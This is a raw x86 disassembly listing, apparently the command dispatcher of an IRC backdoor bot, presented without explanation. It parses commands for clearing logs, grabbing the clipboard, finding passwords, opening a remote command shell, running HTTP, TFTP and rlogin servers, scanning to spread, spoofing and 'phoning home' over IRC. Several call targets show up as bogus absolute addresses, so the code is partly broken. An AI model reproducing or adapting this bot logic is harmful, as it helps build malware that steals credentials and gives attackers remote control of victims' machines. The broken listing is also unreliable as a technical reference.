		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 268050Ah


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
